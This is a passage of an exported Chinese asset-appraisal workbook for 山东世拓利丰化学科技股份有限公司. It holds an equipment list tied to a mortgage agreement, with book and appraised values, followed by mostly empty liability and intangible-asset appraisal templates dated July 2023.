[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[]
["合         计",{"$nulls":7},0,0,0,0,0,""]
["被评估单位（或者产权持有单位）填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"与抵押担保协议一致设备明细","index":61,"n_rows":43,"n_cols":19,"rows_kept":43,"hidden":true,"merged":[[0,1,0,18],[1,0,2,0],[1,1,2,1],[1,12,1,15],[1,17,2,17],[1,18,2,18]],"flags":["formulas_cached_only"]}
[null,"与抵押担保协议（20210622001）一致设备明细"]
["序号","原序号","编号","设备名称","规格型号","生产厂家","计量单位","数量","购置日期","启用日期","账面价值",null,"评估价值",{"$nulls":3},"位置","归属","备注"]
[{"$nulls":10},"原值","净值","原值","成新率%","快速变现率","净值"]
[1,14,"9-7-1-25、9-7-2-41，9-7-1-20（储气罐2m3)","PSA制氮系统","GPN49-60","山东佳脉气体工程有限公司","台",1,"2017-11-28","2017-11-28",{"v":52991.45,"d":"52,991.45"},{"v":13976.4949375,"d":"13,976.49"},{"v":59900,"d":"59,900.00"},53,{"v":0.7,"d":"70%"},{"v":22222.9,"d":"22,222.90"},"25位置：空压制氮及纯水站，房产证1；41、20已拆除，位置：室外","西能"]
[2,27,"9-7-2-51、9-7-2-51（2）燃烧机；9-25-2-3","WNS2-1.0-Q锅炉及辅机","WNS2-1.0-Q","泰安市远能环保设备有限公司","台",1,"2017-03-10","2017-03-10",{"v":144150,"d":"144,150.00"},{"v":58560.94,"d":"58,560.94"},{"v":156600,"d":"156,600.00"},68,{"v":0.7,"d":"70%"},{"v":74541.6,"d":"74,541.60"},"9-7-2-51、9-7-2-51（2）燃烧机，位置：锅炉房；9-25-2-3为蒸汽锅炉换下来的燃烧机，位置：聚合1F北纸箱内","西能"]
[3,29,"9-22-2-7","涂釜液泵CDL2-120","CDL2-120","莱芜市博泵经贸有限公司","台",1,"2017-02-20","2017-02-20",{"v":3589.74,"d":"3,589.74"},{"v":1458.331875,"d":"1,458.33"},{"v":4000,"d":"4,000.00"},46,{"v":0.7,"d":"70%"},{"v":1288,"d":"1,288.00"},"聚合1F","西能"]
[4,30,"9-22-2-8","化工泵半开式叶轮","IH65-50-160",null,"台",1,null,null,{"v":5523.93,"d":"5,523.93"},{"v":2244.0965625,"d":"2,244.10"},{"v":6200,"d":"6,200.00"},40,{"v":0.7,"d":"70%"},{"v":1736,"d":"1,736.00"},"聚合1F","西能"]
[5,31,"9-22-2-1","化工泵半开式叶轮","IH65-40-250",null,"台",1,null,null,{"v":10744.44,"d":"10,744.44"},{"v":4364.92875,"d":"4,364.93"},{"v":12000,"d":"12,000.00"},40,{"v":0.7,"d":"70%"},{"v":3360,"d":"3,360.00"},"室外，已拆除","西能"]
[6,33,"9-22-2-12","离心化工泵IH50-32-160","IH50-32-160","莱芜市博泵经贸有限公司","台",1,"2017-02-20","2017-02-20",{"v":5290.6,"d":"5,290.60"},{"v":2149.30625,"d":"2,149.31"},{"v":6000,"d":"6,000.00"},46,{"v":0.7,"d":"70%"},{"v":1932,"d":"1,932.00"},"聚合2F","西能"]
[7,34,"9-22-2-10","离心化工泵IH65-50-125","IH65-50-125","莱芜市博泵经贸有限公司","台",1,"2017-02-20","2017-02-20",{"v":4655.56,"d":"4,655.56"},{"v":1891.32125,"d":"1,891.32"},{"v":5000,"d":"5,000.00"},46,{"v":0.7,"d":"70%"},{"v":1610,"d":"1,610.00"},"聚合1F（绿色）","西能"]
[8,36,"9-22-2-6","热水离心泵ISGR65-160","ISGR65-160",null,"台",2,null,null,{"v":7487.18,"d":"7,487.18"},{"v":3041.666875,"d":"3,041.67"},{"v":8400,"d":"8,400.00"},45,{"v":0.7,"d":"70%"},{"v":2646,"d":"2,646.00"},"聚合1F","西能"]
[9,37,"9-22-2-17","离心循环泵IS128-80-200",null,null,"台",1,null,null,{"v":5290.6,"d":"5,290.60"},{"v":2149.30625,"d":"2,149.31"},{"v":6000,"d":"6,000.00"},45,{"v":0.7,"d":"70%"},{"v":1890,"d":"1,890.00"},"已拆除，水淹转移车棚","西能"]
[10,38,"9-22-2-3","屏蔽泵PN425-4025T-213JBM/","PN425-4025T-213JBM/","淄博市博山科海机械有限公司","台",1,"2018-06-01","2018-06-01",{"v":10174.36,"d":"10,174.36"},{"v":4133.33375,"d":"4,133.33"},{"v":11000,"d":"11,000.00"},57,{"v":0.7,"d":"70%"},{"v":4389,"d":"4,389.00"},"罐区","西能"]
[11,39,"9-22-2-4","水环真空泵SK-3","SK-3","山东博泵科技股份有限公司","台",1,"2017-03-01","2017-03-01",{"v":3662.39,"d":"3,662.39"},{"v":1487.8459375,"d":"1,487.85"},{"v":4000,"d":"4,000.00"},47,{"v":0.7,"d":"70%"},{"v":1316,"d":"1,316.00"},"聚合1F","西能"]
[12,40,"9-7-2-35","清洗水高位槽304DN800","304DN800 含液位计 δ4","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":3846.15,"d":"3,846.15"},{"v":1562.4984375,"d":"1,562.50"},{"v":4400,"d":"4,400.00"},68,{"v":0.7,"d":"70%"},{"v":2094.4,"d":"2,094.40"},"聚合车间南室外","西能"]
[13,41,"9-7-2-12","真空缓冲罐Q235BDN1000","Q235BDN1000      δ6","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":6196.58,"d":"6,196.58"},{"v":2517.360625,"d":"2,517.36"},{"v":7000,"d":"7,000.00"},68,{"v":0.7,"d":"70%"},{"v":3332,"d":"3,332.00"},"聚合1F","西能"]
[14,42,"9-7-2-30","蒸汽包Q345RDN1000","Q345RDN1000      δ8","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":9401.71,"d":"9,401.71"},{"v":3819.4446875,"d":"3,819.44"},{"v":10000,"d":"10,000.00"},68,{"v":0.7,"d":"70%"},{"v":4760,"d":"4,760.00"},"聚合3F","西能"]
[15,43,"9-7-2-46","异戊烷储罐Q345RDN2600","Q345RDN2600      δ8","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":50000,"d":"50,000.00"},{"v":20312.5,"d":"20,312.50"},{"v":56000,"d":"56,000.00"},68,{"v":0.7,"d":"70%"},{"v":26656,"d":"26,656.00"},"罐棚","西能"]
[16,44,"9-8-2-109","清洗液低位槽316LDN800",null,null,"台",2,null,null,{"v":14957.26,"d":"14,957.26"},{"v":6076.386875,"d":"6,076.39"},{"v":17000,"d":"17,000.00"},65,{"v":0.7,"d":"70%"},{"v":7735,"d":"7,735.00"},"室外，已拆除","西能"]
[17,46,"9-7-2-33","母液槽316LDN1800","316LDN1800      δ4","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":15384.62,"d":"15,384.62"},{"v":6250.001875,"d":"6,250.00"},{"v":17500,"d":"17,500.00"},68,{"v":0.7,"d":"70%"},{"v":8330,"d":"8,330.00"},"室外，已拆除","西能"]
[18,47,"9-7-2-32","盐水罐316L2200X2600","316L2200X2600      δ4","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":22222.22,"d":"22,222.22"},{"v":9027.776875,"d":"9,027.78"},{"v":2500,"d":"2,500.00"},68,{"v":0.7,"d":"70%"},{"v":1190,"d":"1,190.00"},"室外，已拆除","西能"]
[19,48,"9-7-2-10","涂釜液槽304DN800","304DN800      δ4","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-02-20","2017-02-20",{"v":6837.61,"d":"6,837.61"},{"v":2777.7790625,"d":"2,777.78"},{"v":7800,"d":"7,800.00"},68,{"v":0.7,"d":"70%"},{"v":3712.8,"d":"3,712.80"},"聚合1F","西能"]
[20,49,"9-7-2-21","储气罐DN1400","DN1400  4m3","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-05-02","2017-05-02",{"v":8547.01,"d":"8,547.01"},{"v":3539.88664166667,"d":"3,539.89"},{"v":10000,"d":"10,000.00"},69,{"v":0.7,"d":"70%"},{"v":4830,"d":"4,830.00"},"聚合车间北，室外","西能"]
[21,50,"9-7-2-20","储气罐DN2000","DN2000  10m3","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-05-02","2017-05-02",{"v":17094.02,"d":"17,094.02"},{"v":7079.77328333334,"d":"7,079.77"},{"v":20000,"d":"20,000.00"},69,{"v":0.7,"d":"70%"},{"v":9660,"d":"9,660.00"},"聚合车间北，室外","西能"]
[22,51,"9-22-1-26","JONSN桶泵PTSS10",null,null,"台",3,null,null,{"v":9487.18,"d":"9,487.18"},{"v":4004.38055833333,"d":"4,004.38"},{"v":10800,"d":"10,800.00"},30,{"v":0.7,"d":"70%"},{"v":2268,"d":"2,268.00"},"仓库1楼","西能"]
[23,53,"9-22-2-14","热水高压泵(立式多级泵）","GDL50-12-15X8-THT",null,"台",1,null,null,{"v":5350.43,"d":"5,350.43"},{"v":2343.04247083333,"d":"2,343.04"},{"v":6000,"d":"6,000.00"},30,{"v":0.7,"d":"70%"},{"v":1260,"d":"1,260.00"},"室外，已拆除","西能"]
[24,54,"9-7-2-19","氮气储罐20m3","Q345R 20m3 ","山东鼎盛豪迈新能源装备有限公司","台",1,"2017-07-05","2017-07-05",{"v":35897.44,"d":"35,897.44"},{"v":15720.0872666667,"d":"15,720.09"},{"v":40000,"d":"40,000.00"},70,{"v":0.7,"d":"70%"},{"v":19600,"d":"19,600.00"},"聚合车间北，室外","西能"]
[25,62,"9-7-2-25、28","反应釜","7.2m3","无锡科伦达化工热力装备有限公司","台",9,"2017-03-31","2017-03-31",{"v":5574570.54,"d":"5,574,570.54"},{"v":2441197.348975,"d":"2,441,197.35"},{"v":2900000,"d":"2,900,000.00"},47,{"v":0.7,"d":"70%"},{"v":954100,"d":"954,100.00"},"聚合2F,西能","西能"]
[26,74,"9-7-2-37、9-7-2-37（2）、9-7-2-37（3）、9-27-1-1、9-27-1-2、9-27-1-6、9-27-1-7、9-27-1-9（1）（2）、9-27-1-11","旋转闪蒸干燥机XSG-1000","XSG-1000","常州市范群干燥设备有限公司","套",1,null,null,{"v":640000,"d":"640,000.00"},{"v":467733.333333333,"d":"467,733.33"},{"v":640000,"d":"640,000.00"},65,{"v":0.7,"d":"70%"},{"v":291200,"d":"291,200.00"},"9-7-2-37、9-7-2-37（2），已拆除，位置：室外；9-7-2-37（3），位置：干燥车间；9-27-1-1、9-27-1-2、9-27-1-6、9-27-1-7、9-27-1-9（1）（2）、9-27-1-11已拆除，位置：室外。","西能"]
[27,76,"9-22-2-16","立式多级离心泵",null,null,"台",1,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":4300,"d":"4,300.00"},65,{"v":0.7,"d":"70%"},{"v":1956.5,"d":"1,956.50"},"室外","西能"]
[28,80,"9-7-2-45、9-27-1-10、9-27-1-4","压缩机BLZG9m2(立式隔膜压滤机）","BLZG9m2","山东能源重装集团鲁中装备制造有限公司","台",1,"2017年","2017-01-01",{"v":750000,"d":"750,000.00"},{"v":286875,"d":"286,875.00"},{"v":680000,"d":"680,000.00"},35,{"v":0.7,"d":"70%"},{"v":166600,"d":"166,600.00"},"9-7-2-45位置：干燥车间；9-27-1-10位置：室外；9-27-1-4位置：室外","西能"]
[29,81,"9-7-2-49（主）、9-7-2-49（2）；\n9-8-1-57（拆除部分）；9-27-1-3；9-27-1-5","离心喷雾干燥机","500KG/H包括直燃式热风炉碳钢",null,"套",1,"2016-12-21","2016-12-21",{"v":1290000,"d":"1,290,000.00"},{"v":483212.5,"d":"483,212.50"},{"v":1200000,"d":"1,200,000.00"},35,{"v":0.7,"d":"70%"},{"v":294000,"d":"294,000.00"},"拆除部分在室外，主部分、（2）在锅炉房；9-27-1-3与9-27-1-5已拆除，在室外。","西能"]
[30,86,"9-8-1-65","振动筛机S49-1000型2S（S49)","S49-1000-S","新乡市高服机械股份有限公司","台",1,"2011-03-01","2011-03-01",{"v":32000,"d":"32,000.00"},{"v":1600,"d":"1,600.00"},{"v":11900,"d":"11,900.00"},15,{"v":0.7,"d":"70%"},{"v":1249.5,"d":"1,249.50"},"仓库1F","西能"]
[31,87,"9-8-1-10","冷库","25立方",null,"台",1,"2017年","2017-01-01",{"v":89600,"d":"89,600.00"},{"v":34272,"d":"34,272.00"},{"v":12800,"d":"12,800.00"},45,{"v":0.7,"d":"70%"},{"v":4032,"d":"4,032.00"},"室外；含制冷机2台","西能"]
[32,92,"9-8-2-110","630（500）千伏安变压器","实为S11-630KVA","山东万泰电气有限公司","台",1,"2016-10-01","2016-10-01",{"v":48000,"d":"48,000.00"},{"v":17980,"d":"17,980.00"},{"v":33000,"d":"33,000.00"},66,{"v":0.7,"d":"70%"},{"v":15246,"d":"15,246.00"},"变压室","西能"]
[33,106,"9-7-1-2","固定式防爆电动葫芦","BCD固定式 2T-18m防爆等级CT4","山东鲁中起重机械有限公司","台",1,"2017-04-06","2017-04-06",{"v":7692.31,"d":"7,692.31"},{"v":3125.0009375,"d":"3,125.00"},{"v":2000,"d":"2,000.00"},50,{"v":0.7,"d":"70%"},{"v":700,"d":"700.00"},"聚合车间1F ","西能"]
[34,17,"9-27-2-4~7","美的空调","立式3台冷静星（KFR-51LWDY-PA400D3 2台，72LW 1台）；挂机省电星1台","美的集团股份有限公司","台",4,"2017-01-01","2017-01-01",{"v":14150,"d":"14,150.00"},{"v":707.5,"d":"707.50"},{"v":20800,"d":"20800.00"},{"v":18,"d":"18.00"},{"v":0.5,"d":"0.50"},{"v":1872,"d":"1872.00"},"供气车间1；中控室2；配电室最东1","西能","挂机除外"]
[35,19,"9-15-1-2","立式空调（美的冷静星）","（美的冷静星）","美的集团股份有限公司","台",1,"2016-10-01","2016-10-01",{"v":4600,"d":"4,600.00"},{"v":230,"d":"230.00"},{"v":5600,"d":"5600.00"},{"v":15,"d":"15.00"},{"v":0.5,"d":"0.50"},{"v":420,"d":"420.00"},"2F东办公室","西能"]
[36,21,"9-12-1-135","立式空调（美的冷静星）","冷静星KFR-72LW/DY-PA400(D3)","美的集团股份有限公司","台",1,"2017-07-01","2017-07-01",{"v":4600,"d":"4,600.00"},{"v":230,"d":"230.00"},{"v":5600,"d":"5600.00"},{"v":24,"d":"24.00"},{"v":0.5,"d":"0.50"},{"v":672,"d":"672.00"},"202办公室","西能"]
[37,23,"9-12-1-125","立式空调（美的冷静星）","冷静星KFR-72LW/DY-PA400(D3)","美的集团股份有限公司","台",1,"2017-01-01","2017-01-01",{"v":4600,"d":"4,600.00"},{"v":230,"d":"230.00"},{"v":5600,"d":"5600.00"},{"v":18,"d":"18.00"},{"v":0.5,"d":"0.50"},{"v":504,"d":"504.00"},"2F评估临时办公室","西能"]
[38,24,"9-12-1-127","立式空调（美的冷静星）","冷静星","美的集团股份有限公司","台",1,"2016-10-01","2016-10-01",{"v":4600,"d":"4,600.00"},{"v":230,"d":"230.00"},{"v":5600,"d":"5600.00"},{"v":15,"d":"15.00"},{"v":0.5,"d":"0.50"},{"v":420,"d":"420.00"},"2F审计临时办公室","西能"]
[39,25,"9-12-1-114","美的挂机空调（冷静星）","KFR-35G/WBP2DBY-PH400(B3)","美的集团股份有限公司","台",1,"2020-04-01","2020-04-01",{"v":2350,"d":"2,350.00"},{"v":117.5,"d":"117.50"},{"v":4000,"d":"4000.00"},{"v":58,"d":"58.00"},{"v":0.5,"d":"0.50"},{"v":1160,"d":"1160.00"},"管理人办公室","西能"]
[{"$nulls":3},"合计",{"$nulls":11},{"v":1946491.7,"d":"1946491.70"}]

{"sheet":"4-13开发支出","index":62,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["开发支出评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表4-13"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","内容或名称","发生日期","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},"",""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
["合         计",null,null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-14商誉","index":63,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["商誉评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表4-14"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","内容或名称","取得日期","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},"",""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
["合            计",null,null,0,0,0,null,""]
["减：商誉减值准备",{"$nulls":4},0,null,""]
["合     计",null,null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-15长期待摊费用","index":64,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["长期待摊费用评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表4-15"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","费用名称或内容","形成日期","原始发生额","预计摊\n销月数","审计前账面值","账面价值","尚存受\n益月数","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},"",""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
["合                    计",{"$nulls":4},0,0,null,0,0,""]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-16递延所得税资产","index":65,"n_rows":24,"n_cols":7,"rows_kept":24,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[21,0,21,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["递延所得税资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表4-16"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","内容或名称","发生日期","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":15}
["合                    计",null,null,0,0,0]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-17其他非流动资产","index":66,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["其他非流动资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表4-17"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","内容或名称","取得日期","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},"",""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
[{"$nulls":7},""]
["合                    计",null,null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"5流动负债汇总","index":67,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["流动负债评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增值额","增值率%"]
["5-1","短期借款",0,0,0,0,""]
["5-2","交易性金融负债",0,0,0,0,""]
["5-3","应付票据",0,0,0,0,""]
["5-4","应付账款",0,0,0,0,""]
["5-5","预收款项",0,0,0,0,""]
["5-6","应付职工薪酬",0,0,0,0,""]
["5-7","应交税费",0,0,0,0,""]
["5-8","应付利息",0,0,0,0,""]
["5-9","应付股利（应付利润）",0,0,0,0,""]
["5-10","其他应付款",0,0,0,0,""]
["5-11","一年内到期的非流动负债",0,0,0,0,""]
["5-12","其他流动负债",0,0,0,0,""]
{"$rows_empty":9}
["流动负债合计",null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-1短期借款","index":68,"n_rows":30,"n_cols":12,"rows_kept":30,"hidden":true,"merged":[[1,0,1,11],[2,0,2,11],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["短期借款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":11},"表5-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":10},"金额单位：人民币元"]
["序号","放款银行(或机构)名称","发生日期","到期日","月利率%","币种","外币金额","审计前账面值","账面价值","外币基准日汇率","评估价值","备注"]
{"$rows_empty":21}
["合                       计",{"$nulls":6},0,0,null,0]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-2交易性金融负债","index":69,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["交易性金融负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                                    计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-3应付票据","index":70,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付票据评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表5-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","到期日","票面利率%","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                         计",{"$nulls":4},0,0,0]
["产权持有人填表人：",{"$nulls":5},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-4应付账款","index":71,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付账款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-4"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                                    计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-5预收账款","index":72,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["预收账款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-5"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                                    计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-6职工薪酬","index":73,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付职工薪酬评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表5-6"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","结算内容","发生日期","审计前账面值","账面价值","评估价值","备注"]
[1,"工资、奖金、津贴和补贴"]
[2,"职工福利费"]
[3,"医疗保险费"]
[4,"基本养老保险费"]
[5,"年金缴费"]
[6,"失业保险费"]
[7,"工伤保险费"]
[8,"生育保险费"]
[9,"住房公积金"]
[10,"工会经费"]
[11,"职工教育经费"]
[12,"非货币性福利"]
[13,"辞退福利"]
[14,"股份支付"]
[15,"其他"]
[]
[]
[]
[]
[]
[]
["合                          计",null,null,0,0,0]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-7应交税费","index":74,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应交税费评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","征税机关","发生日期","税费种类","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                             计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-8应付利息","index":75,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付利息评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":9},"表5-8"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","本金","利息所属期间","利息率%","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合            计",null,null,0,null,null,0,0,0]
["产权持有人填表人：",{"$nulls":6},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-9应付股利（利润）","index":76,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["应付股利（应付利润）评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-9"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","投资单位名称（股东）","发生日期","利润所属期间","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                             计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-10其他应付款","index":77,"n_rows":30,"n_cols":8,"rows_kept":30,"hidden":true,"merged":[[1,0,1,7],[2,0,2,7],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["其他应付款评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":7},"表5-10"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","户名（结算对象)","发生日期","业务内容","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
["合                                    计",{"$nulls":3},0,0,0]
["产权持有人填表人：",{"$nulls":4},"评估人员："]
["填表日期：年月日"]

{"sheet":"5-11一年到期非流动负债","index":78,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["一年内到期的非流动负债评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表5-11"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","结算项目","发生日期","到期日","票面月利率%","审计前账面值","账面价值","评估价值","备注"]
{"$rows_empty":21}
